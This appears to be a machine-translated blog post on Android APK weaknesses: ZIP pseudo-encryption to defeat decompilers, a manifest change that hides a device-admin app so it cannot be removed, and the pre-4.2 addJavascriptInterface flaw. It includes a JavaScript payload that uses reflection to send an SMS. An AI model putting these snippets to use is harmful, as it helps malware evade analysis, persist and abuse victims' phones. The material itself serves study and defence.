APK Vulnerability record 1: Pseudo encryption + Device Manager non-erasure +webview vulnerability

Pseudo-Encryption 1:APK open requires password

Genesis: Modify the ZIP header, set the encryption flag of the file to ture, and restore the encryption flag to false. Using the android processing zip file does not judge the head of the encryption information, other compression software, Java default implementation of the ZIP API has detected encryption information in the ZIP header

Pseudo-Encrypted 2:apk compressed file is corrupted

causes:APKin thePCthe above can be viewed as a compressed file,Androidsystem inside it is amobile system software files. AndroidSystem onAPKthe identification is from the logo head to the tail of the flag, other redundant data will be ignored. So add the other data to the end of the logo.APKas a compressed filePCend, the file is corrupted, so you have to unzip it or view the file is corrupted, the Anti-compilation tool will also prompt the file is corrupted, but it does not affect theAndroidnormal operation and installation of the system, but also compatible to all systems. using the zip file Repair tool can also fix it so that the protection we do is gone.

Device Manager is not deleted: After an app has applied to Device Manager permissions, it is invisible in the device management list and cannot be uninstalled, such as Obad

Causes:

<receiver android:name= "Locklistener"
android:permission= "Android.permission.BIND_DEVICE_ADMIN" >
<meta-data android:name= "Android.app.device_admin"
Android:resource= "@xml/lock_screen"/>
<intent-filter>
<action android:name= "Android.app.action.DEVICE_ADMIN_ENABLED"/>
</intent-filter>

</receiver>

If you remove the above <action android:name= "Android.app.action.DEVICE_ADMIN_ENABLED"/>, Android still allows the app to register as a Device Manager, However, this app will be invisible in the device management list and cannot be removed from Device Manager permissions.

WebView Vulnerability: Android system via WebView. The Addjavascriptinterface method registers Java objects that can be invoked by JavaScript to enhance the functionality of JavaScript. However, the system does not have restrictions on the method calls that register Java classes. Causes an attacker to use the reflection mechanism to invoke any other non-registered Java class, resulting in an infinitely enhanced JavaScript capability.

Example:

We use this vulnerability to invoke Smsmanager to send SMS (the attack apk to have SMS send permission)

WebView WebView = new WebView (context);

WebSettings webset= webview.getsettings ();
Webset.setjavascriptenabled (TRUE);
Webview.addjavascriptinterface (New Jsinvoke (), "Jsinvoke");

External JavaScript script that exploits this vulnerability:

<script>

var Obj_smsmanager = Jsinvoke.getclass (). forname ("Android.telephony.SmsManager"). GetMethod ("Getdefault", null). Invoke (Null,null);

Obj_smsmanager.sendtextmessage ("159********", NULL, "test", null,null);

</script>

For security reasons, in order to prevent the Java layer function from being called casually, Google in the 4.2 version, the rule allows the function to be called @javascriptinterface to annotate, so if an application depends on the API level of 17 or more, Will not be affected by this issue (note: Apps with API level less than 17 in Android 4.2 will also be affected).

APK Vulnerability record 1: Pseudo encryption + Device Manager non-erasure +webview vulnerability